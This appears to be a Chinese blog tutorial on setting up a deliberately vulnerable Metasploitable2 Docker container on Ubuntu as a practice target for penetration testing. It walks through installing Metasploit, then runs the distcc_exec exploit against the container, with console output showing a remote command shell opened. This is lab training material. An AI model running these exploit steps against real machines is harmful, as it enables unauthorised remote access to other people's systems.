體驗(yàn)一把黑客的感覺(jué)——Unbuntu下用docker搭一個(gè)肉雞(Metasploitable)來(lái)練靶(滲透測(cè)試)

本文介紹在Unbuntu環(huán)境下用docker來(lái)簡(jiǎn)單快速地搭建起Metasploitable系統(tǒng),并用Metasploit來(lái)進(jìn)行滲透測(cè)試。
Metasploitable是一個(gè)供滲透測(cè)試用的、集成各種漏洞的Linux系統(tǒng)。
Metasploita則是一個(gè)集成各種漏洞攻擊的滲透利器。

一. 安裝docker

添加https證書(shū)

$ curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

添加倉(cāng)庫(kù)

$ sudo add-apt-repository "deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable"

安裝docker-ce

$ sudo apt-get install docker-ce -y

啟動(dòng)及設(shè)置開(kāi)機(jī)自啟(ubuntu 14以上版本)

$ sudo systemctl start docker
$ sudo systemctl enable docker

將用戶添加到docker組,以后就能以非root身份運(yùn)行docker了

$ sudo groupadd docker
$ sudo usermod -aG docker $USER

執(zhí)行完之后可能要重新登錄才能生效
檢查是否安裝成功

$ docker version

二. 安裝Metasploitable

拉取metasploitable2鏡像

$ docker pull tleemcjr/metasploitable2

運(yùn)行metasploitable2容器

$ run --name mymetasploitable -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash"

即可進(jìn)入metasploitable2系統(tǒng)的命令行,執(zhí)行$ uname -a可查看系統(tǒng)信息

三. 安裝metasploit-framework

$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

安裝完成后執(zhí)行$ msfconsole即可進(jìn)入。

四. 進(jìn)行滲透測(cè)試

進(jìn)入msfconsole命令行窗口

$ msfconsole

docker肉雞下用$ ifconfig查看ip,然后即可進(jìn)行下面的測(cè)試。
以 exploit/unix/misc/distcc_exec 漏洞為例,

msf > use exploit/unix/misc/distcc_exec 
msf > set RHOST x.x.x.x(docker肉雞ip)
msf > exploit

若滲透成功,則能成功取得肉雞的shell控制,即可遠(yuǎn)程控制對(duì)方電腦。

msfconsole

msf > use exploit/unix/misc/distcc_exec 

msf  exploit(distcc_exec) > set RHOST 192.168.99.131

msf  exploit(distcc_exec) > exploit 

[*] Started reverse double handler

[*] Accepted the first client connection…

[*] Accepted the second client connection…

[*] Command: echo uk3UdiwLUq0LX3Bi;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets…

[*] Reading from socket B

[*] B: "uk3UdiwLUq0LX3Bi\r\n"

[*] Matching…

[*] A is input…

[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700

id

uid=1(daemon) gid=1(daemon) groups=1(daemon)
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容